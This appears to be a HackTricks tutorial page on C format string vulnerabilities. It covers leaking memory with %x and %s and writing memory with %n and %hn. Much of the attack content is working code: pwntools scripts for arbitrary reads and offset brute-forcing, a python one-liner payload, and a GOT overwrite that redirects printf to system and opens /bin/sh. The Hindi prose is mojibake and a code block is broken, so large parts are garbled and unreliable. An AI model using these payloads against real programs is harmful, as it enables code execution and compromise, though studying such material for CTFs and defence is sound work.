Format Strings

Support HackTricks

Basic Information

C рдореЗрдВ printf рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИ рд╡рд╣ рд╣реИ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде рдХрдЪреНрдЪрд╛ рдЯреЗрдХреНрд╕реНрдЯред рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВ рд╡реЗ рд╣реИрдВ рдХрдЪреНрдЪреЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиред

рдЕрдиреНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ sprintf() рдФрд░ fprintf()ред

рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рддрдм рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ printf рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкрддреЗ (рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп/рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп) рдореЗрдВ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ред

Formatters:

%08x тАФ> 8 hex bytes
%d тАФ> Entire
%u тАФ> Unsigned
%s тАФ> String
%p тАФ> Pointer
%n тАФ> Number of written bytes
%hn тАФ> Occupies 2 bytes instead of 4
<n>$X тАФ> Direct access, Example: ("%3$d", var1, var2, var3) тАФ> Access to var3

рдЙрджрд╛рд╣рд░рдг:

  • рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • рдЧрд╛рдпрдм рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf рдХрдордЬреЛрд░:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pointers рддрдХ рдкрд╣реБрдБрдЪрдирд╛

рдлреЙрд░реНрдореЗрдЯ %<n>$x, рдЬрд╣рд╛рдБ n рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, printf рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ n рдкреИрд░рд╛рдореАрдЯрд░ (рд╕реНрдЯреИрдХ рд╕реЗ) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк printf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ 4рд╡реЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%x %x %x %x")

рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдЪреМрдереЗ рдкреИрд░рд╛рдореАрдЯрд░ рддрдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%4$x")

рдФрд░ рд╕реАрдзреЗ рдЪреМрдереЗ рдХреЛ рдкрдврд╝реЗрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ printf рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрд╕рдХрд╛ рдЗрдирдкреБрдЯ printf рдХреЗ рдХреЙрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ рдЗрд╕ рдЗрдирдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рдордирдорд╛рдирд╛ рдкрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ printf рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдордирдорд╛рдирд╛ рдкрдврд╝рдирд╛

рдлреЙрд░реНрдореЗрдЯрд░ %n$s рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ printf n рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗ, рдЙрд╕рдХреЗ рдмрд╛рдж рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗ (рдЬрдм рддрдХ 0x00 рдирд╣реАрдВ рдорд┐рд▓рддрд╛)ред рддреЛ рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдХрд╛ рдмреЗрд╕ рдкрддрд╛ 0x8048000 рд╣реИ, рдФрд░ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреИрдХ рдореЗрдВ рдЪреМрдереА рд╕реНрдерд┐рддрд┐ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЗрдирдкреБрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 0x8048000 рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрд╕ рдкрддреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x00 рдкрд░ рдХрдЯ рдЬрд╛рдПрдЧреАред

рдСрдлрд╕реЗрдЯ рдЦреЛрдЬреЗрдВ

рдЕрдкрдиреЗ рдЗрдирдкреБрдЯ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк 4 рдпрд╛ 8 рдмрд╛рдЗрдЯреНрд╕ (0x41414141) рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж %1$x рдФрд░ рдорд╛рди рдмрдврд╝рд╛рдПрдВ рдЬрдм рддрдХ рдХрд┐ A's рдкреНрд░рд╛рдкреНрдд рди рд╣реЛ рдЬрд╛рдПрдВред

рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ printf рдСрдлрд╕реЗрдЯ

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### рдХрд┐рддрдиреА рдЙрдкрдпреЛрдЧреА

рдордирдорд╛рдиреЗ рдкрдврд╝рдиреЗ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:

* **рдореЗрдореЛрд░реА** рд╕реЗ **рдмрд╛рдЗрдирд░реА** рдХреЛ **рдбрдВрдк** рдХрд░рдирд╛
* **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** **рдЬрд╛рдирдХрд╛рд░реА** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдореЗрдореЛрд░реА рдХреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ** рддрдХ **рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рдЬреИрд╕реЗ рдХрд┐ рдХреИрдирд░реА, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рдХрд╕реНрдЯрдо рдкрд╛рд╕рд╡рд░реНрдб рдЬреИрд╕реЗ рдЗрд╕ [**CTF рдЪреБрдиреМрддреА**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) рдореЗрдВ)

## **рдордирдорд╛рдирд╛ рд▓рд┐рдЦрдирд╛**

рдлреЙрд░реНрдореЗрдЯрд░ **`%<num>$n`** **рд▓рд┐рдЦрддрд╛** рд╣реИ **рд▓рд┐рдЦреЗ рдЧрдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреЛ **рд╕рдВрдХреЗрддрд┐рдд рдкрддреЗ** рдореЗрдВ \<num> рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ printf рдХреЗ рд╕рд╛рде рдЬрд┐рддрдиреЗ рдЪрд╛рд╣реЗрдВ рдЙрддрдиреЗ рдЕрдХреНрд╖рд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ **`%<num>$n`** рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рднрд╛рдЧреНрдпрд╡рд╢, рд╕рдВрдЦреНрдпрд╛ 9999 рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдореЗрдВ 9999 "A"s рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯрд░ **`%.<num-write>%<num>$n`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдЦреНрдпрд╛ **`<num-write>`** рдХреЛ **`num` рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ** рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИред
```bash
AAAA%.6000d%4\$n тАФ> Write 6004 in the address indicated by the 4┬║ param
AAAA.%500\$08x тАФ> Param at offset 500

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдкрддрд╛ рдЬреИрд╕реЗ 0x08049724 (рдЬреЛ рдПрдХ HUGE рд╕рдВрдЦреНрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдмрд╛рд░ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╣реИ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп $n рдХреЗред рдпрд╣ рдХреЗрд╡рд▓ 2 Bytes рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдСрдкрд░реЗрд╢рди рджреЛ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд░ рдкрддреЗ рдХреЗ рдЙрдЪреНрдЪрддрдо 2B рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рдмрд╛рд░ рдирд┐рдореНрдирддрдо рдХреЗ рд▓рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдкрддреЗ рдореЗрдВ рдХреБрдЫ рднреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдордирдорд╛рдирд╛ рд▓реЗрдЦрди)ред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдмрд╛рдж рдореЗрдВ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреНрдп рдордирдорд╛рдиреЗ рд▓реЗрдЦрди рдХреЛ exec рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ system рдлрд╝рдВрдХреНрд╢рди рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ 2 рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдЖрдк рдкрд╣рд▓реЗ 2Bytes рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЕрдиреНрдп 2ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • HOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдЙрдЪреНрдЪрддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

  • LOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдирд┐рдореНрдирддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

рдлрд┐рд░, рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ [HOB, LOB] рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдХреЛред

рдпрджрд┐ HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

рдпрджрд┐ HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 N┬║Param_dir_HOB LOB_shell-HOB_shell N┬║Param_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools рдЯреЗрдореНрдкрд▓реЗрдЯ

рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

рдпрд╛ рдЗрд╕ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдпрд╣рд╛рдВ:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рд╕реЗ BOF

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рдХреЗ рдкрддреЗ рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдФрд░ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВред

рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн

  • 32 рдмрд┐рдЯ, рдХреЛрдИ рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, рд╕реНрдЯреИрдХ рд╕реЗ рдзреНрд╡рдЬ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдЙрдкрдпреЛрдЧ (рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)

  • 32 рдмрд┐рдЯ, рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ fflush рдХреЗ рдкрддреЗ рдХреЛ рдЬреАрддрдиреЗ рдХреЗ рдлрд╝рдВрдХреНрд╢рди (ret2win) рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

  • 32 рдмрд┐рдЯ, рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ .fini_array рдореЗрдВ рдореБрдЦреНрдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП (рддрд╛рдХрд┐ рдкреНрд░рд╡рд╛рд╣ рдПрдХ рдмрд╛рд░ рдФрд░ рд▓реВрдк рд╣реЛ) рдФрд░ system рдХреЗ рдкрддреЗ рдХреЛ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдЬреЛ strlen рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдкреНрд░рд╡рд╛рд╣ рдореБрдЦреНрдп рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рддрд╛ рд╣реИ, strlen рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ system рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

Last updated